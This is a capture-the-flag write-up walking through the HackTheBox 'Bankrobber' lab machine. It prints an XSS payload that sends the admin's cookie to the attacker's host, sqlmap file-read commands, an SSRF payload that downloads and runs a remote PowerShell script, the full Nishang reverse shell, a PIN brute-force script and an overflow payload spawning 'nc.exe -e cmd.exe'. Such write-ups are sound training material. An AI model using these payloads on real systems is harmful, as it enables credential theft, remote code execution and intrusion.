HackTheBox - Bankrobber

13 minute read

Bankrobber was a fun 50 point box created by Gioo and Cneeliz. It started out with XSS to steal the admins cookie which contains credentials for the admin interface, you then login and find SQLi to get source code to a script that’s vulnerable to SSRF and exploit it via an XSS payload to get user. You then have to brute force a 4 digit PIN code leveraging pwntools and exploit a blind buffer overflow to get root.

User.txt

Nmap


We start the box with a quick TCP nmap scan:

# ports=$(nmap -sT -p- --min-rate=5000 --max-retries=2 10.10.10.154 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && 
nmap -sV -sC -T4 -p$ports 10.10.10.154

PORT     STATE SERVICE      VERSION
80/tcp   open  http         Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
|_http-title: E-coin
443/tcp  open  ssl/http     Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
|_http-title: E-coin
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
445/tcp  open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open  mysql        MariaDB (unauthorized)
Service Info: Host: BANKROBBER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1h00m09s, deviation: 0s, median: 1h00m08s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2019-09-23 10:52:28
|_  start_date: 2019-09-21 21:01:35


HTTP


Navigating to http://bankrobber.htb leads us to this page:


The site allows us to register a user, this often entails additional functionality. Logging in with the new user you’re presented with a user interface and an account balance:


Further down the page there is a Transfer E-coin form which takes an Amount, ID Of Addressee, and a Comment To Him/her:



Form Analysis


I sent a basic transfer like the following to see what response I received from the application:


When I clicked TRANSFER E-COIN the following pop-up box appeared on screen with an interesting message:


It would appear that there is an admin monitoring the transfers we are making from their own administrative interface.



I intercepted a transfer request in burp and noticed the Cookie header had the following structure:

Cookie: id=<id>; username=<b64 username>; password=<b64 password>

The first parameter contains the user’s ID number and the second and third parameters contained the base64 encoded username and password of the logged in user – in this case username=test; password=test.

Since the administrator’s cookie most likely used a similar structure, if we were to steal their cookie we’d in theory possess the admin credentials.

The Amount and ID of Addressee fields only take a numerical value as input, but the Comment To Him/her field allows us to input anything of our choosing.



The following JavaScript XSS payload will create a request to our attacking host, specifically to the fake page bogus.php. It then uses the JavaScript document.cookie property and assigns its output to the variable output=:

<script> new Image().src="http://10.10.15.123/bogus.php? output="+document.cookie; </script>

If our payload is successful the script will execute in the admin’s browser when he checks the transaction. We will receive a GET request to our fake page on port 80 with the admin’s cookie included after the output= parameter in the request.

I started a netcat listener on port 80 and then submitted the payload into the Comment To Him/her field of the Transfer E-coin form:


I received a response fairly quickly:

# nc -nlvp 80
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.10.154.
Ncat: Connection from 10.10.10.154:55197.
GET /bogus.php?output=username=YWRtaW4%3D;%20password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D;%20id=1 HTTP/1.1
Referer: http://localhost/admin/index.php
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Accept: */*
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: nl-NL,en,*
Host: 10.10.14.19

The bit we’re interested in looks as follows (without the URL encoding):

username=YWRtaW4=; password=SG9wZWxlc3Nyb21hbnRpYw==; id=1

Base64 decoding the username and password in the Kali command line:

# echo YWRtaW4= | base64 -d 
admin 
# echo SG9wZWxlc3Nyb21hbnRpYw== | base64 -d 
Hopelessromantic

You can see the credentials are admin / Hopelessromantic.



Admin Interface


Upon logging in you’ll notice two form fields, Search users (beta) and Backdoorchecker.

Backdoorchecker


Backdoorchecker caught my attention at first glance as when I entered a random command like whoami it responded "It’s only allowed to use the dir command".

I then entered the dir command and received the following response:


“It’s only allowed to access this function from localhost (::1). This is due to the recent hack attempts on our server.”

This response made me think of some form of Server-Side Request Forgery (SSRF). I took note of this and carried on with my enumeration as it seemed as if I needed more information to carry out such an attack.


Search users (beta)


The Search users (beta) form allows you to enter an ID and receive the username associated to it in a table-like structure:


It appeared as if the IDs and Users were stored in a sort of mini database, since port 3306 (MySQL) was open as well it meant the database was more than likely used somewhere within the web application.

With this in mind I chucked a single quote in after the 1 and it threw an SQL error:


SQL Injection


I intercepted a request I made to the Search users function with burp and copied the request into a file called search.req. Sqlmap allows you the option to parse request files using the -r flag.

POST /admin/search.php HTTP/1.1
Host: 10.10.10.154
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://10.10.10.154/admin/
Content-type: application/x-www-form-urlencoded
Content-Length: 7
Cookie: id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D
Connection: close

term=1

I then ran the following sqlmap command:

# sqlmap -r search.req

Sqlmap quickly confirms that the term parameter is vulnerable to SQLi.


Sqlmap FILE privileges


To check the current user we’re running as in the database we can use the --current-user flag in sqlmap:

# sqlmap -r search.req --current-user

With knowledge of the current user you can use the --privileges flag to check the privileges available to our user – root@localhost:

# sqlmap -r search.req --privileges

You’ll notice that the FILE privileges are assigned to our user so we have the ability to read/write files (depending on any file system restrictions).

In this instance file writes were failing into the directories required to get a web shell. However, file reads were succeeding so we clearly needed more information from the file system in order to progress with the machine.


Sqlmap FILE read


The sqlmap --file-read= parameter can be used to read and download files from the target file system. The following command downloads the Windows host’s file from bankrobber:

# sqlmap -r search.req –privileges --file-read="C:\\windows\\system32\\drivers\\etc\\hosts"

With successful file reads confirmed I turned my attention back to the backdoorchecker.php file.

The notes.txt file had some information as to the location of the files on the server:

- Move all files from the default Xampp folder: TODO
- Encode comments for every IP address except localhost: Done
- Take a break..

The default Xampp folder location for the web root is usually C:\xampp\ htdocs\<project>\<file> and this was the case here as the file downloaded successfully:

# sqlmap -r search.req –privileges --file-read="C:\\xampp\\htdocs\\admin\\ backdoorchecker.php"

The output of backdoorchecker.php can be seen in the following section.


Code Analysis


<?php
include('../link.php');
include('auth.php');

$username = base64_decode(urldecode($_COOKIE['username']));
$password = base64_decode(urldecode($_COOKIE['password']));
$bad      = array('$(','&');
$good     = "ls";

if(strtolower(substr(PHP_OS,0,3)) == "win"){
        $good = "dir";
}

if($username == "admin" && $password == "Hopelessromantic"){
        if(isset($_POST['cmd'])){
                        // FILTER ESCAPE CHARS
                        foreach($bad as $char){
                                if(strpos($_POST['cmd'],$char) !== false){
                                        die("You're not allowed to do that.");
                                }
                        }
                        // CHECK IF THE FIRST 2 CHARS ARE LS
                        if(substr($_POST['cmd'], 0,strlen($good)) != $good){
                                die("It's only allowed to use the $good command");
                        }

                        if($_SERVER['REMOTE_ADDR'] == "::1"){
                                system($_POST['cmd']);
                        } else{
                                echo "It's only allowed to access this function from localhost (::1).<br> This is due to the recent hack attempts on our server.";
                        }
        }
} else{
        echo "You are not allowed to use this function!";
}
?>

If the REMOTE_ADDR - The IP address from which the user is viewing the current page of the predefined variable $_SERVER - server and execution environment information is equal to localhost, then we are able to execute the dir command.

The $bad variable contains an array of characters we can’t use. It’s missing the | character, which enables us to bypass the mini blacklist and execute commands of our choosing.

Since the Search users (beta) & Backdoorchecker forms in the admin interface don’t take the sort of input we require, I took a step back to the first vulnerability we exploited in order to obtain the admin credentials.

A common way of exploiting SSRF vulnerabilities is through JavaScript XSS payloads.


SSRF and XSS


PortSwigger gives a great description of Server-Side Request Forgery:

Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker’s choosing.

In this instance we’ll be making a POST request to backdoorchecker.php via localhost so the if($_SERVER['REMOTE_ADDR'] == "::1") statement returns true and we can achieve command injection.

We’ll start with a basic ping payload to see if our command injection is successful.


Ping Payload


First we need to create a JavaScript XSS payload which enables us to make a POST request to the backdoorchecker.php script:

<script> 
var http = new XMLHttpRequest(); 
var url = 'http://localhost/admin/backdoorchecker.php'; 
var params = 'cmd=dir+|+ping+10.10.15.123'; 
http.open('POST', url, true); 
http.setRequestHeader('Content-type', 'application/x-www-formurlencoded'); 
http.send(params); 
</script>

We submit this as one line into the Comment To Him/her field of the Transfer E-coin form.

Running tcpdump -i tun0 icmp before submitting the payload you’ll see the ICMP requests made back to us, meaning the ping payload was successful:


PowerShell Payload


With successful command injection, the next thing to do is upload and execute a reverse shell. Since this is a Windows environment, PowerShell is the best bet.

I downloaded the Nishang Invoke-PowerShellTcp.ps1 script to my local machine and added the required line to the bottom of the script:

function Invoke-PowerShellTcp 
{ 
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. 

.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. 
Also, a standard netcat can connect to this script Bind to a specific port.

The script is derived from Powerfun written by Ben Turner & Dave Hardy

.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.

.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.

.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444

Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on 
the given IP and port. 

.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444

Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. 

.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444

Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port. 

.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>      
    [CmdletBinding(DefaultParameterSetName="reverse")] Param(

        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
        [String]
        $IPAddress,

        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
        [Int]
        $Port,

        [Parameter(ParameterSetName="reverse")]
        [Switch]
        $Reverse,

        [Parameter(ParameterSetName="bind")]
        [Switch]
        $Bind

    )

    
    try 
    {
        #Connect back if the reverse switch is used.
        if ($Reverse)
        {
            $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
        }

        #Bind to the provided port if Bind switch is used.
        if ($Bind)
        {
            $listener = [System.Net.Sockets.TcpListener]$Port
            $listener.start()    
            $client = $listener.AcceptTcpClient()
        } 

        $stream = $client.GetStream()
        [byte[]]$bytes = 0..65535|%{0}

        #Send back current username and computername
        $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)

        #Show an interactive PowerShell prompt
        $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
        $stream.Write($sendbytes,0,$sendbytes.Length)

        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
        {
            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
            $data = $EncodedText.GetString($bytes,0, $i)
            try
            {
                #Execute the command on the target.
                $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
            }
            catch
            {
                Write-Warning "Something went wrong with execution of command on the target." 
                Write-Error $_
            }
            $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
            $x = ($error[0] | Out-String)
            $error.clear()
            $sendback2 = $sendback2 + $x

            #Return the results
            $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
            $stream.Write($sendbyte,0,$sendbyte.Length)
            $stream.Flush()  
        }
        $client.Close()
        if ($listener)
        {
            $listener.Stop()
        }
    }
    catch
    {
        Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." 
        Write-Error $_
    }
}Invoke-PowerShellTcp -Reverse -IPAddress 10.10.15.123 -Port 443

Downloading and executing the PowerShell reverse shell was a bit of a challenge so minor alterations had to be made to the payload:

<script> 
function shell() {    
    var http = new XMLHttpRequest();    
    var url = 'http://localhost/admin/backdoorchecker.php';    
    var params = "cmd=dir+|+powershell+/c+iex+(newobject+net.webclient).downloadstring('http://10.10.15.123/ Invoke.ps1')";    
    http.open('POST', url, true);    
    http.setRequestHeader('Content-type', 'application/x-www-formurlencoded');    
    http.send(params); 
}; shell(); </script> <img src=x onerror='shell()'/>

You have to submit the payload into the Comment To Him/her field of the Transfer E-coin form as one-line, be sure to have a netcat listener ready and a HTTP server serving the Nishang script so the file is downloaded and executed.

Upon payload submission you’ll receive a GET request on your HTTP server and be sent a shell fairly sharp:


Flag


With a shell as Cortin you can type the user flag:

PS C:\xampp\htdocs\admin> whoami
bankrobber\cortin
PS C:\xampp\htdocs\admin> type C:\users\cortin\desktop\user.txt
f63534...



Root.txt

Shell Upgrade


nps_payload can be used to upgrade a normal Windows shell to a Meterpreter session, I’ve covered this technique before and it can be found here.


Bankv2


In the C:\ directory you’ll notice a bankv2.exe executable:


There is also a process running:


As there was a process running, one can assume the application was listening on a specific port for a connection - port 910 stood out:


I decided to port forward and check out 910:

meterpreter> portfwd add -l 910 -p 910 -r 10.10.10.154

Using netcat you can connect to localhost:910 and see what the application is doing:

# nc localhost 910
 --------------------------------------------------------------
 Internet E-Coin Transfer System
 International Bank of Sun church
                                        v0.1 by Gio & Cneeliz
 --------------------------------------------------------------
 Please enter your super secret 4 digit PIN code to login:
 [$]

You can see it is asking for a 4 digit PIN code, sending a random code we receive an error message:

 Please enter your super secret 4 digit PIN code to login:
 [$] 1234
 [!] Access denied, disconnecting client....

Knowing the response from an unsuccessful authentication attempt aids us in developing a script to brute force the PIN.


PIN Brute Force


I used pwntools to create a simple script that brute forces the PIN based on 4 digit iterations using the itertools module:

from pwn import * 
import itertools

Host = '127.0.0.1'   
port = 910 
numbers = '0123456789'
y = ''

for c in itertools.product(numbers, repeat=4):    
    pin = y+''.join(c)    
    p = remote(host,port)    
    p.recvuntil("[$] ")        
    p.sendline(pin)            
    print pin      
    out = p.recv()            
    if "Access denied" not in out:          
        print "Cracked ->" + pin

Starting at 0000, the script doesn’t take long to crack the PIN - 0021:


The PIN works and has granted us access to the application:


A new function is presented to us allowing you to transfer e-coins of a supplied amount.


Fuzzing


After playing with the application for a while, I generated a random 100 byte string with gef:

gef➤ pattern create 100

I then sent the string to the application and took note of the response, it seemed something odd was occurring:


The application transfers the string successfully, however it would appear part of our unique string has overflowed into the Executing e-coin transfer tool field. It looks like the field is trying to execute part of our string, thinking it’s the e-coin transfer tool.

In the above picture I have highlighted the point at which our string starts to overflow into the Executing e-coin transfer tool field.


Exploitation


With this mind I created a miniature payload that includes the first 32 characters of our unique string (the cut-off point) and an absolute path to a nc.exe binary I uploaded earlier with a command to send a reverse shell back to myself on port 1337.

The payload looks like the following:

aaaaaaaabaaaaaaacaaaaaaadaaaaaaaC:\programdata\nc.exe 10.10.15.123 1337 -e cmd.exe

Submitting the payload to the application within the transfer field, the nc.exe command runs and we receive a reverse shell as nt authority\system:


Flag


With a shell as nt authority\system we have access to the admin directory and can type the root flag:

C:\Users\admin\Desktop>type root.txt
type root.txt
aa65d8...